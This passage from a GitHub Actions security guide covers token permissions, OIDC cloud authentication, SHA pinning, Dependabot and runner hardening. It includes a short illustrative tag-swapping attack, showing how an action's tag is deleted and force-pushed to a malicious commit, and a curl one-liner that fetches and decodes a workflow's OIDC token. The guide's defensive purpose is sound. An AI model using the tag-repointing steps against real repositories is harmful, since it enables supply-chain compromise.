            --name ${{ vars.AZURE_APP_NAME }} \
            --src-path dist/
        env:
          AZURE_CREDENTIALS: ${{ secrets.AZURE_CREDENTIALS }}

  deploy-production:
    runs-on: ubuntu-latest
    needs: deploy-staging
    environment:
      name: production
      url: https://myapp.example.com
    steps:
      - uses: actions/download-artifact@v4
        with:
          name: dist
          path: dist/
      - run: |
          echo "Deploying to production..."
          az webapp deploy \
            --name ${{ vars.AZURE_APP_NAME }} \
            --src-path dist/
        env:
          AZURE_CREDENTIALS: ${{ secrets.AZURE_CREDENTIALS }}
Warning

Environment protection rules are only available on public repositories (free) or on GitHub Pro, Team, and Enterprise plans for private repositories. If you're on a free private repo, environments still work for grouping secrets and variables, but the protection rules (reviewers, timers, branch restrictions) won't be enforced.

GITHUB_TOKEN Permissions and Least-Privilege Configuration

Every GitHub Actions workflow run receives an automatic GITHUB_TOKEN — a short-lived token scoped to the current repository. It authenticates API calls, pushes commits, publishes packages, and interacts with pull requests. You never create or rotate this token manually; GitHub generates it at the start of each job and revokes it when the job finishes.

The critical question is: how much power does that token have? By default, it may have far more than your workflow actually needs. The permissions key lets you lock the token down to exactly the scopes required — following the security principle of least privilege.

Default Token Permissions: Permissive vs. Restricted

GitHub offers two default permission postures for the GITHUB_TOKEN, configurable at both the organization and repository level under Settings → Actions → General → Workflow permissions:

Default PostureWhat the Token GetsWhen to Use
Read and write permissions (permissive)Read/write access to most scopes (contents, packages, issues, PRs, etc.)Legacy default. Convenient for quick setup but overly broad for most workflows.
Read repository contents and packages permissions (restricted)Read-only access to contents and packages. Everything else is none.Recommended default. Forces you to declare write scopes explicitly per workflow.

GitHub has been migrating new repositories and organizations toward the restricted default since 2023. If you're starting a new project, you likely already have restricted defaults. You can verify this in your repository settings or by checking if a workflow that writes to issues suddenly fails with a 403 error.

Note

Organization admins can enforce the restricted default across all repos and prevent individual repos from switching back to permissive. This is a strong security posture for teams and is the recommended org-level setting.

Available Permission Scopes

The permissions key accepts a map of scope names to access levels. Each scope can be set to read, write, or none. Setting write implicitly includes read. Here is the full list of scopes you can control:

ScopeWhat It ControlsCommon Use Cases
actionsManage GitHub Actions (workflows, artifacts, caches)Cancelling workflow runs, deleting caches
attestationsArtifact attestationsGenerating and verifying artifact provenance
checksCheck runs and check suitesCreating custom check runs, reporting lint results
contentsRepository contents, commits, branches, tags, releasesCloning code, pushing commits, creating releases
deploymentsDeployment status and environmentsMarking deployments as active/inactive
discussionsGitHub DiscussionsCreating or commenting on discussions
id-tokenOIDC token for cloud provider authAuthenticating to AWS, Azure, or GCP via OIDC
issuesIssues and commentsCreating issues, adding labels, posting comments
packagesGitHub Packages (npm, Docker, Maven, etc.)Publishing or installing packages
pagesGitHub PagesDeploying to GitHub Pages
pull-requestsPull requests and PR commentsCommenting on PRs, approving, requesting changes
repository-projectsClassic project boards on the repositoryMoving cards in project boards
security-eventsCode scanning and secret scanning alertsUploading SARIF results, managing alerts
statusesCommit statusesPosting build/test status on commits

Workflow-Level Permissions

You declare permissions at the top level of your workflow file to apply them to every job in the workflow. This is the most common approach and the easiest way to enforce a consistent security posture. Any scope you don't list defaults to none when you use an explicit permissions block — this is the key mechanism that enables least-privilege.

yaml
name: CI Pipeline

on: [push, pull_request]

# Workflow-level: applies to ALL jobs
permissions:
  contents: read       # Needed to checkout the repo
  checks: write        # Needed to report test results as check runs

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm test

In this example, the token can read repository contents and write check runs. It cannot write to issues, pull requests, packages, or anything else — those scopes are implicitly set to none.

Job-Level Permissions

When different jobs require different scopes, you can set permissions at the job level. A job-level permissions block completely overrides the workflow-level block for that job — it does not merge with it. This lets you tighten the scope per job, giving each job only the exact permissions it needs.

yaml
name: Build, Test, and Deploy

on:
  push:
    branches: [main]

# Workflow-level default: read-only for contents
permissions:
  contents: read

jobs:
  build:
    runs-on: ubuntu-latest
    # Inherits workflow-level: contents: read
    steps:
      - uses: actions/checkout@v4
      - run: npm ci && npm run build

  publish-package:
    needs: build
    runs-on: ubuntu-latest
    # Job-level override: REPLACES workflow-level entirely
    permissions:
      contents: read
      packages: write
    steps:
      - uses: actions/checkout@v4
      - run: npm publish
        env:
          NODE_AUTH_TOKEN: ${{ secrets.GITHUB_TOKEN }}

  notify:
    needs: build
    runs-on: ubuntu-latest
    permissions:
      issues: write
    steps:
      - uses: actions/github-script@v7
        with:
          script: |
            github.rest.issues.create({
              owner: context.repo.owner,
              repo: context.repo.repo,
              title: 'Build completed',
              body: 'Main branch build succeeded.'
            })

Notice how the notify job declares issues: write but does not redeclare contents: read. This means the notify job cannot check out the repository — it only gets issue write access. If it needed to clone code too, you would have to explicitly add contents: read in that job's permissions block.

Warning

Job-level permissions completely replaces the workflow-level block — it does not merge. If you set permissions: { issues: write } at the job level, every other scope becomes none for that job, even if the workflow level granted them.

Write Permissions for Common Tasks

Most CI workflows start with just contents: read. Here's a quick reference for when you need to grant additional scopes:

TaskRequired PermissionLevel
Checkout repository codecontents: readread
Push commits or tagscontents: writewrite
Create a GitHub Releasecontents: writewrite
Comment on a pull requestpull-requests: writewrite
Publish to GitHub Packagespackages: writewrite
Upload code scanning results (SARIF)security-events: writewrite
Create or update check runschecks: writewrite
Set commit statusesstatuses: writewrite
Deploy to GitHub Pagespages: write + id-token: writewrite
OIDC authentication to cloud providersid-token: writewrite
Create or label issuesissues: writewrite

The Read-Only Shorthand

If your workflow only needs read access across all scopes (a pure CI build with no publishing or commenting), you can use the special shorthand syntax to set every scope to read at once:

yaml
# Set ALL scopes to read-only
permissions: read-all

There is also permissions: write-all (grants write on everything) and permissions: {} (grants no permissions at all). The empty object is useful for jobs that don't interact with the GitHub API at all — such as pure computation or jobs that use only external services.

Best Practices for Token Scoping

1. Always declare an explicit permissions block

Even if your repository has restricted defaults, adding an explicit block in every workflow makes the security posture visible and self-documenting. Someone reading the workflow can immediately see what the token is allowed to do without checking repository settings.

2. Start with contents: read and add scopes as needed

Begin every workflow with the minimum. When a step fails with a 403 Resource not accessible by integration error, that tells you exactly which scope you need to add. Don't preemptively grant write-all to avoid errors.

3. Prefer job-level permissions over workflow-level

If only one job out of five needs packages: write, grant it at the job level. The other four jobs operate with a narrower token, reducing the blast radius if a step is compromised.

4. Use permissions: {} for jobs that don't need a token

If a job runs linting with no API calls or external pushes, set its permissions to the empty object. This ensures even a compromised action in that job can't use the token.

yaml
jobs:
  lint:
    runs-on: ubuntu-latest
    permissions: {}          # No token access at all
    steps:
      - uses: actions/checkout@v4
      - run: npx eslint .
Tip

The actions/checkout action can still clone the repo even with permissions: {} on public repositories, because it falls back to an unauthenticated clone. For private repos, you need at least contents: read.

5. Be extra cautious with contents: write on pull request triggers

The pull_request event from forks runs with a read-only token regardless of your permissions block — this is a GitHub security feature. However, if you use pull_request_target (which runs in the context of the base branch), the token gets the permissions you declare, including write. Combining pull_request_target with contents: write and checking out untrusted fork code is a well-known attack vector. Keep these concerns separated into distinct jobs with different permission levels.

OIDC Federation: Passwordless Cloud Authentication

Every long-lived credential stored as a GitHub secret is a liability. If it leaks through a log, a fork, or a compromised dependency, an attacker gets persistent access to your cloud account. OpenID Connect (OIDC) federation eliminates this risk entirely — your workflows authenticate to cloud providers using short-lived JSON Web Tokens (JWTs) that expire in minutes and can never be reused.

Instead of you creating an IAM user with static keys, the cloud provider trusts GitHub as an identity provider. GitHub issues a signed JWT for each workflow run, and the cloud provider exchanges that token for temporary credentials scoped to exactly what the job needs.

How the OIDC Flow Works

The authentication handshake involves four parties: your workflow, GitHub's OIDC provider, the cloud provider's token service, and the target cloud resource. Every run produces a unique, cryptographically signed token that ties the credentials to a specific repository, branch, and workflow.

sequenceDiagram
    participant W as Workflow Job
    participant G as GitHub OIDC Provider
    participant C as Cloud Provider (STS)
    participant R as Cloud Resource

    W->>G: 1. Request OIDC token (ACTIONS_ID_TOKEN_REQUEST_URL)
    G-->>W: 2. Signed JWT (claims: repo, branch, env, workflow)
    W->>C: 3. Present JWT + Role ARN / Workload Identity
    C->>G: 4. Fetch JWKS (public keys) to verify signature
    G-->>C: 5. Return JWKS
    C->>C: 6. Validate claims against trust policy
    C-->>W: 7. Return short-lived credentials (e.g., 1 hour)
    W->>R: 8. Access cloud resource with temporary credentials
    

Anatomy of the GitHub OIDC Token

The JWT that GitHub issues contains claims your cloud provider uses to decide whether to grant access. Understanding these claims is critical — they form the foundation of your trust policy. Here are the most important ones:

ClaimExample ValueUse In Trust Policy
isshttps://token.actions.githubusercontent.comIdentifies GitHub as the token issuer
subrepo:octo-org/my-repo:ref:refs/heads/mainLock access to a specific repo and branch
audsts.amazonaws.comEnsures token was intended for this provider
repositoryocto-org/my-repoFilter by repository name
environmentproductionRestrict to a specific GitHub environment
refrefs/heads/mainRestrict to a specific branch or tag
workflowdeploy.ymlRestrict to a specific workflow file
job_workflow_refocto-org/my-repo/.github/workflows/deploy.yml@refs/heads/mainPin to exact workflow at exact ref (reusable workflows)
The sub claim is your primary security boundary

A trust policy that only checks iss (issuer) would let any GitHub repository assume your cloud role. Always constrain the sub claim to your specific org, repo, and ideally branch or environment. For production deployments, use sub conditions like repo:my-org/my-repo:environment:production.

Your workflow must declare the id-token: write permission to request a JWT. Without it, the ACTIONS_ID_TOKEN_REQUEST_URL environment variable won't be set and the token request will fail.

yaml
permissions:
  id-token: write   # Required to request the OIDC JWT
  contents: read    # Typically needed for checkout

Setup for AWS

AWS uses IAM Identity Providers and IAM Roles to trust GitHub's OIDC tokens. You create an identity provider once, then create roles with trust policies that reference specific claims. The aws-actions/configure-aws-credentials action handles the token exchange automatically.

1. Create the IAM Identity Provider (one-time setup)

In your AWS account, register GitHub as an OIDC identity provider. This tells AWS to trust tokens signed by GitHub's key pair.

bash
aws iam create-open-id-connect-provider \
  --url "https://token.actions.githubusercontent.com" \
  --client-id-list "sts.amazonaws.com" \
  --thumbprint-list "6938fd4d98bab03faadb97b34396831e3780aea1"

2. Create an IAM Role with a Trust Policy

The trust policy below restricts role assumption to a specific repository on the main branch. The StringLike condition on sub is where you enforce which workflows can authenticate.

json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
        },
        "StringLike": {
          "token.actions.githubusercontent.com:sub": "repo:my-org/my-repo:ref:refs/heads/main"
        }
      }
    }
  ]
}

3. Use OIDC in Your Workflow

yaml
name: Deploy to AWS
on:
  push:
    branches: [main]

permissions:
  id-token: write
  contents: read

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Configure AWS Credentials
        uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsDeployRole
          aws-region: us-east-1
          role-session-name: github-actions-${{ github.run_id }}

      - name: Deploy
        run: |
          aws s3 sync ./dist s3://my-app-bucket
          aws cloudfront create-invalidation --distribution-id E1234 --paths "/*"

Setup for Azure

Azure uses Federated Identity Credentials on an App Registration or Managed Identity. Instead of creating a client secret, you configure a federation that trusts GitHub's OIDC tokens for a specific subject.

1. Register the Federated Credential (one-time setup)

In Azure AD, create an App Registration, then add a federated credential. The subject field maps directly to the sub claim in the GitHub JWT.

bash
az ad app federated-credential create \
  --id <APP_OBJECT_ID> \
  --parameters '{
    "name": "github-main-branch",
    "issuer": "https://token.actions.githubusercontent.com",
    "subject": "repo:my-org/my-repo:ref:refs/heads/main",
    "audiences": ["api://AzureADTokenExchange"],
    "description": "GitHub Actions deploy from main"
  }'

2. Use OIDC in Your Workflow

yaml
name: Deploy to Azure
on:
  push:
    branches: [main]

permissions:
  id-token: write
  contents: read

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Azure Login
        uses: azure/login@v2
        with:
          client-id: ${{ secrets.AZURE_CLIENT_ID }}
          tenant-id: ${{ secrets.AZURE_TENANT_ID }}
          subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}

      - name: Deploy to App Service
        uses: azure/webapps-deploy@v3
        with:
          app-name: my-web-app
          package: ./dist

Setup for Google Cloud (GCP)

GCP uses Workload Identity Federation — a Workload Identity Pool with a Provider that maps GitHub's OIDC tokens to a GCP service account. The google-github-actions/auth action handles the token exchange.

1. Create the Workload Identity Pool and Provider (one-time setup)

bash
# Create the workload identity pool
gcloud iam workload-identity-pools create "github-pool" \
  --project="my-gcp-project" \
  --location="global" \
  --display-name="GitHub Actions Pool"

# Create the OIDC provider within the pool
gcloud iam workload-identity-pools providers create-oidc "github-provider" \
  --project="my-gcp-project" \
  --location="global" \
  --workload-identity-pool="github-pool" \
  --display-name="GitHub Provider" \
  --attribute-mapping="google.subject=assertion.sub,attribute.repository=assertion.repository" \
  --attribute-condition="assertion.repository=='my-org/my-repo'" \
  --issuer-uri="https://token.actions.githubusercontent.com"

# Allow the pool to impersonate a service account
gcloud iam service-accounts add-iam-policy-binding "deploy-sa@my-gcp-project.iam.gserviceaccount.com" \
  --project="my-gcp-project" \
  --role="roles/iam.workloadIdentityUser" \
  --member="principalSet://iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/github-pool/attribute.repository/my-org/my-repo"

2. Use OIDC in Your Workflow

yaml
name: Deploy to GCP
on:
  push:
    branches: [main]

permissions:
  id-token: write
  contents: read

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Authenticate to Google Cloud
        uses: google-github-actions/auth@v2
        with:
          workload_identity_provider: "projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/github-pool/providers/github-provider"
          service_account: "deploy-sa@my-gcp-project.iam.gserviceaccount.com"

      - name: Deploy to Cloud Run
        uses: google-github-actions/deploy-cloudrun@v2
        with:
          service: my-api
          region: us-central1
          image: gcr.io/my-gcp-project/my-api:${{ github.sha }}

Comparing Cloud Provider OIDC Setup

Each cloud provider implements the same OIDC standard but uses different terminology and configuration surfaces. This table maps the equivalent concepts across all three.

ConceptAWSAzureGCP
Trust anchorIAM OIDC Identity ProviderFederated Identity CredentialWorkload Identity Pool + Provider
Target identityIAM RoleApp Registration / Managed IdentityService Account
Claim filteringIAM Trust Policy conditionssubject field on credentialattribute-condition on provider
GitHub Actionaws-actions/configure-aws-credentials@v4azure/login@v2google-github-actions/auth@v2
Token lifetime1 hour (default, max 12h)1 hour (default)1 hour (default)
Secrets still neededNone (role ARN can be public)Client ID, Tenant ID, Subscription ID (non-sensitive)Provider path, SA email (non-sensitive)
Don't use wildcards in subject claims for production

A trust policy with sub: repo:my-org/my-repo:* allows any branch or pull request to assume the role. For production cloud resources, always pin to a specific branch (ref:refs/heads/main) or, better yet, a GitHub environment (environment:production). Environments also let you add required reviewers as an additional gate.

Hardening Your OIDC Configuration

Getting OIDC working is the first step. Securing it properly requires tightening trust policies beyond the defaults. Here are the practices that matter most:

  • Use GitHub Environments in your subject claimrepo:my-org/my-repo:environment:production is more secure than branch-based filtering because environments support required reviewers, wait timers, and branch protection rules.
  • Scope IAM permissions to least privilege — OIDC handles authentication, but the assumed role still needs tight authorization. A deploy role should only have permissions to update the specific resources it targets.
  • Set a short session duration — AWS lets you specify role-duration-seconds (default 3600). If your deploy takes 5 minutes, set it to 900 seconds instead of accepting the 1-hour default.
  • Use job_workflow_ref for reusable workflows — When a reusable workflow runs, the sub claim reflects the caller repo. Use job_workflow_ref in your trust policy to verify the actual workflow code that's executing.
  • Audit token claims in your pipeline — During setup, decode the JWT to verify claims match your expectations before tightening trust policies.
Debug OIDC claims during setup

Add a temporary step to inspect the raw token: curl -s -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL" | jq -r '.value' | cut -d. -f2 | base64 -d | jq . — This decodes the JWT payload so you can see exactly what claims the cloud provider will receive. Remove this step before going to production.

Supply Chain Security: Pinning, Dependabot, and Hardening

Every time your workflow runs uses: some-org/some-action@v3, you're executing code written by a stranger inside your CI environment — with access to your secrets, your source code, and your deployment credentials. Third-party actions are the single largest attack surface in GitHub Actions, and a compromised action can exfiltrate secrets, inject backdoors into build artifacts, or pivot into your production infrastructure.

This section covers the concrete attack vectors, the defenses that actually work, and the tools that automate the boring parts of staying secure.

The Tag-Swapping Attack

Git tags are mutable. A repository maintainer (or an attacker who has compromised a maintainer's account) can delete a tag and recreate it pointing to a completely different commit. When your workflow references an action by tag — @v3 or even @v3.2.1 — GitHub resolves that tag at runtime, meaning you'll silently execute whatever commit the tag points to at that moment.

Here's how the attack plays out:

bash
# Attacker compromises the action repo, then:
git tag -d v3          # delete the existing v3 tag
git tag v3 abc123f     # point v3 at a malicious commit
git push origin v3 -f  # force-push the new tag

# Every workflow using @v3 now runs the attacker's code

This isn't theoretical. In March 2025, the popular tj-actions/changed-files action was compromised exactly this way — tags were repointed to commits that dumped CI secrets to workflow logs, affecting thousands of repositories.

Warning

Semantic version tags like @v3, @v3.2, and even "exact" tags like @v3.2.1 are all equally vulnerable. Tags are just pointers — only commit SHAs are immutable.

Pinning to Full Commit SHAs

The fix is straightforward: reference every third-party action by its full 40-character commit SHA instead of a tag. A SHA is a cryptographic hash of the commit contents — it cannot be moved, rewritten, or faked. If someone tampers with the code, the SHA changes and GitHub will refuse to check it out.

yaml
steps:
  - uses: actions/checkout@v4
  - uses: actions/setup-node@v4
  - uses: docker/build-push-action@v5
yaml
steps:
  # Pin every action to its full commit SHA
  - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
  - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
  - uses: docker/build-push-action@263435318d21b8e681c14492fe198571cfb76f00 # v6.18.0

The trailing comment (# v4.2.2) is a convention that keeps things readable and helps Dependabot know which version you intended. You can find the SHA for any action release on its GitHub Releases page, or by running git ls-remote:

bash
# Find the SHA that a tag currently points to
git ls-remote --tags https://github.com/actions/checkout.git v4.2.2
# Output: 11bd71901bbe5b1630ceea73d27597364c9af683  refs/tags/v4.2.2

Keeping Pinned Actions Updated with Dependabot

Pinning to SHAs creates a new problem: you no longer get automatic updates when actions release security patches. Dependabot solves this. It monitors the action repositories for new releases and opens pull requests that update the SHA in your workflow files — complete with changelogs and diff links so you can review before merging.

Create .github/dependabot.yml in your repository:

yaml
version: 2
updates:
  # Keep GitHub Actions pinned to latest SHAs
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"
      day: "monday"
    # Group all action updates into a single PR
    groups:
      actions:
        patterns:
          - "*"
    commit-message:
      prefix: "ci"
    labels:
      - "dependencies"
      - "ci"

The groups key is important — without it, Dependabot opens a separate PR for every single action, which gets noisy fast. Grouping collapses them into one reviewable PR per week. You can also set interval: "daily" for security-critical repositories.

StepSecurity Harden-Runner

SHA pinning stops tag-swapping, but it doesn't prevent a legitimately-published action from making unexpected network calls — phoning home to an analytics server, exfiltrating environment variables, or downloading additional payloads at runtime. StepSecurity's Harden-Runner adds runtime visibility and control over what happens inside your workflow steps.

Add it as the first step in every job:

yaml
jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - name: Harden the runner
        uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1
        with:
          egress-policy: audit    # Start with 'audit' to observe traffic
          # egress-policy: block  # Switch to 'block' once you have an allowlist
          allowed-endpoints: >
            github.com:443
            registry.npmjs.org:443
            api.github.com:443

      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
      - run: npm ci && npm test

In audit mode, Harden-Runner logs every outbound network connection from your job and presents a summary in the StepSecurity dashboard. Once you've identified the legitimate endpoints, switch to block mode to enforce a strict allowlist — any connection to a non-approved endpoint gets dropped and the step fails.

OpenSSF Scorecard

OpenSSF Scorecard is an automated tool that evaluates the security posture of open-source projects — including your own repository. It checks for branch protection, dependency pinning, code review practices, CI/CD configuration, and more, producing a 0–10 score per category. Running it on your own repo surfaces the low-hanging fruit; running it on actions you depend on tells you whether those maintainers take security seriously.

You can run Scorecard as a GitHub Action on a schedule:

yaml
name: OpenSSF Scorecard
on:
  schedule:
    - cron: "0 6 * * 1"   # Every Monday at 06:00 UTC
  push:
    branches: [main]

permissions: read-all

jobs:
  scorecard:
    runs-on: ubuntu-latest
    permissions:
      security-events: write  # Upload SARIF results
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
      - uses: ossf/scorecard-action@05b42c624433fc40578a4040d5cf5e39f8c78ee3 # v2.4.1
        with:
          results_file: scorecard-results.sarif
          results_format: sarif
          publish_results: true

      - uses: github/codeql-action/upload-sarif@ff0a06e83cb2de871e5a09832bc6a81e7276941f # v3.28.18
        with:
          sarif_file: scorecard-results.sarif

Results appear in your repository's Security → Code scanning tab as actionable alerts. You can also check any public repo's score instantly at https://scorecard.dev/viewer/?uri=github.com/ORG/REPO.

Tip

Before adopting a new third-party action, check its Scorecard. A project with a score below 4 in "Branch-Protection" or "Token-Permissions" categories deserves extra scrutiny — or a fork you control.

Security Best Practices Checklist

The tools above form a defense-in-depth strategy. Here's the full checklist, combining technical controls with process discipline:

PracticeWhy It MattersEffort
Pin all actions to full SHAPrevents tag-swapping and supply chain injectionLow
Enable Dependabot for github-actionsKeeps pinned SHAs current with security patchesLow
Use least-privilege permissionsLimits blast radius if a job is compromisedLow
Never use pull_request_target with forked code checkoutPrevents secret exfiltration from untrusted PRsLow
Audit with Harden-Runner (egress monitoring)Detects unexpected network calls at runtimeMedium
Run OpenSSF Scorecard on your repoSurfaces security configuration gaps automaticallyLow
Fork critical actions into your orgGives you full control over the code your CI runsHigh
Require PR approval for workflow file changesPrevents malicious workflow modifications via code reviewLow
Rotate and scope secrets to specific environmentsLimits exposure window and blast radius of leaked secretsMedium
Note

Setting permissions at the workflow or job level overrides the repository's default token permissions. Always start with permissions: {} (no permissions) and grant only what each job needs. This single change blocks most privilege-escalation attacks.

Putting It All Together

A hardened workflow combines all of these practices. Notice how every action is SHA-pinned with a version comment, permissions are scoped to the minimum required, and Harden-Runner monitors egress at the top of each job:

yaml
name: CI (Hardened)
on:
  push:
    branches: [main]
  pull_request:

# Default: no permissions. Each job opts in to what it needs.
permissions: {}

jobs:
  test:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - name: Harden runner
        uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1
        with:
          egress-policy: audit

      - name: Checkout code
        uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

      - name: Setup Node.js
        uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
        with:
          node-version: 22
          cache: npm

      - name: Install and test
        run: |
          npm ci
          npm test

  deploy:
    needs: test
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    permissions:
      contents: read
      id-token: write    # For OIDC-based deployment
    environment: production
    steps:
      - name: Harden runner
        uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1
        with:
          egress-policy: block
          allowed-endpoints: >
            github.com:443
            sts.amazonaws.com:443

      - name: Checkout code
        uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

      - name: Deploy
        run: echo "Deploy with OIDC — no long-lived secrets needed"

Security isn't a single toggle — it's a stack of overlapping defenses. SHA pinning stops tag-swapping. Dependabot keeps you patched. Least-privilege permissions contain the blast radius. Harden-Runner watches the network. Scorecard audits the whole setup. Each layer catches what the others miss.

Workflow Commands: Controlling Runner Behavior from Steps

Workflow commands are a protocol for your steps to talk back to the GitHub Actions runner. They let you set outputs, manipulate environment variables, annotate code, mask secrets, and structure log output — all by writing specially formatted strings to stdout or appending to special files.

There are two families of commands: file-based commands that write to runner-provided file paths ($GITHUB_OUTPUT, $GITHUB_ENV, etc.) and stream commands that use the ::command:: syntax printed to stdout.

File-Based Output Commands

GitHub Actions provides environment variables that point to temporary files on the runner. You write to these files to pass data between steps, set environment variables, extend PATH, or render Markdown summaries. This replaced the deprecated ::set-output and ::set-env stream commands.

Setting Step Outputs with $GITHUB_OUTPUT

Step outputs are the primary way to pass data from one step to another within the same job. You write name=value pairs to the file at $GITHUB_OUTPUT, then reference them via steps.<step_id>.outputs.<name>.

yaml
- name: Compute version
  id: version
  run: |
    TAG=$(git describe --tags --abbrev=0 2>/dev/null || echo "v0.0.0")
    echo "tag=$TAG" >> "$GITHUB_OUTPUT"
    echo "sha_short=$(git rev-parse --short HEAD)" >> "$GITHUB_OUTPUT"

- name: Use the outputs
  run: |
    echo "Tag: ${{ steps.version.outputs.tag }}"
    echo "SHA: ${{ steps.version.outputs.sha_short }}"

For multiline values (like JSON blobs or file contents), use a heredoc-style delimiter. Pick a unique delimiter string that won't appear in the value itself:

yaml
- name: Set multiline output
  id: changelog
  run: |
    {
      echo "content<<DELIM"
      git log --oneline -5
      echo "DELIM"
    } >> "$GITHUB_OUTPUT"

Setting Environment Variables with $GITHUB_ENV

Writing to $GITHUB_ENV sets environment variables that are available to all subsequent steps in the same job. The current step does not see the new variable — it takes effect starting from the next step.

yaml
- name: Set build config
  run: |
    echo "BUILD_MODE=release" >> "$GITHUB_ENV"
    echo "ARTIFACT_NAME=myapp-$(date +%Y%m%d)" >> "$GITHUB_ENV"

- name: Build
  run: |
    echo "Building in $BUILD_MODE mode..."
    echo "Artifact: $ARTIFACT_NAME"
Note

Multiline values in $GITHUB_ENV use the same heredoc delimiter syntax as $GITHUB_OUTPUT. For example: MY_VAR<<EOF, then the value lines, then EOF, all appended to $GITHUB_ENV.

Extending PATH with $GITHUB_PATH

To add a directory to the system PATH for all subsequent steps, append it to the file at $GITHUB_PATH. This is commonly used when installing tools to custom locations.

yaml
- name: Install custom tool
  run: |
    mkdir -p "$HOME/.local/bin"
    curl -sL https://example.com/tool.tar.gz | tar xz -C "$HOME/.local/bin"
    echo "$HOME/.local/bin" >> "$GITHUB_PATH"

- name: Use the tool
  run: tool --version   # Now on PATH

Writing Job Summaries with $GITHUB_STEP_SUMMARY

Job summaries let you render rich Markdown content on the workflow run's Summary page. You write GitHub-flavored Markdown to $GITHUB_STEP_SUMMARY. Multiple steps can append content, and it all appears in order on the summary.

yaml
- name: Report test results
  run: |
    echo "## Test Results :white_check_mark:" >> "$GITHUB_STEP_SUMMARY"
    echo "" >> "$GITHUB_STEP_SUMMARY"
    echo "| Suite | Passed | Failed |" >> "$GITHUB_STEP_SUMMARY"
    echo "|-------|--------|--------|" >> "$GITHUB_STEP_SUMMARY"
    echo "| Unit  | 142    | 0      |" >> "$GITHUB_STEP_SUMMARY"
    echo "| E2E   | 38     | 2      |" >> "$GITHUB_STEP_SUMMARY"

To overwrite the summary instead of appending (useful if a later step supersedes earlier output), use > instead of >>. You can also clear it entirely with echo "" > "$GITHUB_STEP_SUMMARY".

File-Based Commands at a Glance

Environment VariablePurposeAvailable To
$GITHUB_OUTPUTSet step outputs (key=value)Subsequent steps via steps.<id>.outputs.<key>
$GITHUB_ENVSet environment variablesAll subsequent steps in the job
$GITHUB_PATHPrepend directories to PATHAll subsequent steps in the job
$GITHUB_STEP_SUMMARYRender Markdown on the Summary pageVisible on the workflow run UI

Logging Commands: Annotations and Diagnostics

Logging commands use the ::command::message syntax printed to stdout. They create annotations that appear inline on pull request diffs, on the Actions summary page, and in the log viewer. Each command accepts optional parameters for file, line, endLine, col, and endColumn to pin the annotation to a specific code location.

::debug::

Debug messages only appear in logs when you enable debug logging by setting the ACTIONS_STEP_DEBUG secret or variable to true. Use them liberally for diagnostic info you don't want cluttering normal runs.

yaml
- name: Debug info
  run: |
    echo "::debug::Current working directory: $(pwd)"
    echo "::debug::Node version: $(node --version)"

::notice::, ::warning::, and ::error::

These three commands create increasingly severe annotations. Notices are informational, warnings flag potential issues, and errors indicate failures. All three support file-location parameters to pin the annotation to a specific line in your repository.

yaml
- name: Lint and annotate
  run: |
    # Simple messages (appear in the log and summary)
    echo "::notice::Build completed successfully"
    echo "::warning::Deprecated API usage detected"
    echo "::error::Missing required configuration file"

    # With file location (appears inline on PR diffs)
    echo "::warning file=src/api.js,line=42,col=5::Unused variable 'tempData'"
    echo "::error file=src/auth.js,line=17,endLine=19,title=Security Issue::Token is logged to stdout"

The full parameter syntax is ::command file={path},line={l},endLine={el},col={c},endColumn={ec},title={t}::{message}. All parameters are optional. The title parameter sets a bold heading for the annotation.

Annotation Parameter Reference

ParameterDescriptionExample
filePath relative to repository rootsrc/index.js
lineStart line number42
endLineEnd line number (for multi-line ranges)45
colStart column number5
endColumnEnd column number20
titleCustom annotation title (bolded in the UI)Security Issue

Log Grouping, Masking, and Runner Control

::group:: and ::endgroup::

Group commands create collapsible sections in the log output. They are essential for keeping noisy steps readable — wrap verbose output (dependency installation, test results, build output) in a group so reviewers can expand it when needed.

yaml
- name: Install and build
  run: |
    echo "::group::Installing dependencies"
    npm ci
    echo "::endgroup::"

    echo "::group::Running build"
    npm run build
    echo "::endgroup::"

    echo "::group::Bundle size report"
    du -sh dist/*
    echo "::endgroup::"

::add-mask::

Masking prevents a value from appearing in logs. Once masked, every subsequent occurrence of that string in log output is replaced with ***. This is critical when you dynamically generate or fetch secrets at runtime that are not stored in GitHub Secrets (which are auto-masked).

yaml
- name: Fetch and mask dynamic token
  run: |
    TOKEN=$(curl -s https://auth.example.com/token)
    echo "::add-mask::$TOKEN"
    # From this point on, $TOKEN is replaced with *** in all logs
